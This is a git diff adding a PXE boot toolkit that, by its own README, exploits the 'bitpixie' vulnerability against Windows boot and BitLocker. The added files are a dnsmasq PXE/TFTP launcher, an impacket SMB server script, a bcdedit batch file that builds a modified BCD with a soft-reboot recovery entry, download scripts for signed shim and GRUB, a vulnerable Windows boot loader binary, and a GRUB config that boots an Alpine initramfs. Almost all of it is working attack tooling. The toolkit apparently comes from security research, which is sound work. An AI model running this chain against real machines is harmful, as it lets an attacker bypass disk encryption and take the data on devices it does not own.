diff --git a/pxe/README.md b/pxe/README.md new file mode 100644 index 0000000..836db46 --- /dev/null +++ b/pxe/README.md @@ -0,0 +1,24 @@ +This prepares a PXE boot environment to exploit the bitpixie vulnerability. + +The kernel (`linux`) and initramfs (`alpine-initrd.xz`) is expected to be provided externally, +e.g. by running the scripts in the (corresponding linux directory](../linux). + +The `download.sh` script fetches the required components from public sources: + - `shimx64.efi` signed Debian shim + - `grubx64.efi` signed Debian GRUB boot loader + - TODO: `bootmgfw.efi` vulnerable Windows boot loader + +The `start-smb.sh` script starts an impacket based SMB server providing the +[`create-bcd.bat`](./smb/create-bcd.bat) script to generate a device specific +BCD. + +The `start-pxe.sh` script starts `dnsmasq` with the needed options to serve +the file from the [tftp](./tftp/) directory. + +``` +$ ./download.sh +$ ./start-smb.sh +$ ./start-pxe.sh eth0 +``` + +This work was done in parallel and drew some inspiration from similar avenues by [Andreas Grasser](https://github.com/andigandhi/bitpixie/). diff --git a/pxe/download-docker.sh b/pxe/download-docker.sh new file mode 100755 index 0000000..fc73541 --- /dev/null +++ b/pxe/download-docker.sh @@ -0,0 +1,28 @@ +#!/bin/sh +set -e + +__() { printf "\n\033[1;32m* %s [%s]\033[0m\n" "$1" "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"; } + +__ "Installing required tools" + +apk add dpkg + +__ "Fetching Debian signed shim" + +wget "https://snapshot.debian.org/file/87601be283ef7209f6907d6e0df10aa29e5f4ede/shim-signed_1.44%2B15.8-1_amd64.deb" -O shim-signed.deb \ + && echo '3a98352f0b01da23d059647e917eb0d6f1fd6dedb46a0e1b82c3c1e89871c1a1 shim-signed.deb' \ + | sha256sum -c || exit 1 + +dpkg-deb -x shim-signed.deb shim +cp shim/usr/lib/shim/shimx64.efi.signed /mnt/tftp/shimx64.efi + +__ "Fetching Debian signed GRUB" + +wget "https://snapshot.debian.org/archive/debian/20240716T023930Z/pool/main/g/grub-efi-amd64-signed/grub-efi-amd64-signed_1%2B2.12%2B5_amd64.deb" -O grub.deb \ + && echo '76c314a1d8b5075d8727fc301fc9d57e39dc25289d4bd912aa3d8ffebd17ac6b grub.deb' \ + | sha256sum -c || exit 1 + +dpkg-deb -x grub.deb grub +cp grub/usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed /mnt/tftp/grubx64.efi + +# TODO: Fetching vulnerable Windows boot loader diff --git a/pxe/download.sh b/pxe/download.sh new file mode 100755 index 0000000..ee7962e --- /dev/null +++ b/pxe/download.sh @@ -0,0 +1,4 @@ +#!/bin/sh + +docker run --platform linux/amd64 --rm -v "$PWD":/mnt -w /root \ + alpine:3.20.3 "/mnt/download-docker.sh" diff --git a/pxe/smb/create-bcd.bat b/pxe/smb/create-bcd.bat new file mode 100644 index 0000000..d5af898 --- /dev/null +++ b/pxe/smb/create-bcd.bat @@ -0,0 +1,18 @@ +REM @echo off + +bcdedit /export BCD_modded + +bcdedit /store BCD_modded /create /d "softreboot" /application startup > GUID.txt +for /F "tokens=2 delims={}" %%i in (GUID.txt) do (set REBOOT_GUID=%%i) +del GUID.txt + +bcdedit /store BCD_modded /set {%REBOOT_GUID%} path "\shimx64.efi" +bcdedit /store BCD_modded /set {%REBOOT_GUID%} device boot +bcdedit /store BCD_modded /set {%REBOOT_GUID%} pxesoftreboot yes + +bcdedit /store BCD_modded /set {default} recoveryenabled yes +bcdedit /store BCD_modded /set {default} recoverysequence {%REBOOT_GUID%} +bcdedit /store BCD_modded /set {default} path "\\" +bcdedit /store BCD_modded /set {default} winpe yes + +bcdedit /store BCD_modded /displayorder {%REBOOT_GUID%} /addlast diff --git a/pxe/start-pxe.sh b/pxe/start-pxe.sh new file mode 100755 index 0000000..8417c6c --- /dev/null +++ b/pxe/start-pxe.sh @@ -0,0 +1,16 @@ +#!/bin/sh + +[ $# -eq 0 ] && echo "usage: $0 " && exit 1 + +scriptpath="$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +interface=$1 + +sudo ip a add 10.13.37.100/24 dev $interface + +sudo dnsmasq --no-daemon \ + --interface=$interface \ + --dhcp-range=10.13.37.100,10.13.37.200,255.255.255.0,1h \ + --dhcp-boot=bootmgfw.efi \ + --enable-tftp \ + --tftp-root="$scriptpath/tftp" \ + --log-dhcp diff --git a/pxe/start-smb.sh b/pxe/start-smb.sh new file mode 100755 index 0000000..a13624a --- /dev/null +++ b/pxe/start-smb.sh @@ -0,0 +1,5 @@ +#!/bin/sh + +scriptpath="$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" + +sudo $(which smbserver.py) -smb2support smb "$scriptpath/smb" diff --git a/pxe/tftp/Boot/BCD b/pxe/tftp/Boot/BCD new file mode 120000 index 0000000..59dabf3 --- /dev/null +++ b/pxe/tftp/Boot/BCD @@ -0,0 +1 @@ +../../smb/BCD \ No newline at end of file diff --git a/pxe/tftp/EFI/Microsoft/Boot/bootmgfw.efi b/pxe/tftp/EFI/Microsoft/Boot/bootmgfw.efi new file mode 120000 index 0000000..a01be23 --- /dev/null +++ b/pxe/tftp/EFI/Microsoft/Boot/bootmgfw.efi @@ -0,0 +1 @@ +../../../bootmgfw.efi \ No newline at end of file diff --git a/pxe/tftp/bootmgfw.efi b/pxe/tftp/bootmgfw.efi new file mode 100644 index 0000000..c7e76eb Binary files /dev/null and b/pxe/tftp/bootmgfw.efi differ diff --git a/pxe/tftp/grub/grub.cfg b/pxe/tftp/grub/grub.cfg new file mode 100644 index 0000000..d026699 --- /dev/null +++ b/pxe/tftp/grub/grub.cfg @@ -0,0 +1,9 @@ +set default="0" +set timeout=1 + +menuentry "Debian 5.14 with Alpine Initramfs" { + set gfxpayload=keep + linux linux + initrd alpine-initrd.xz + boot +}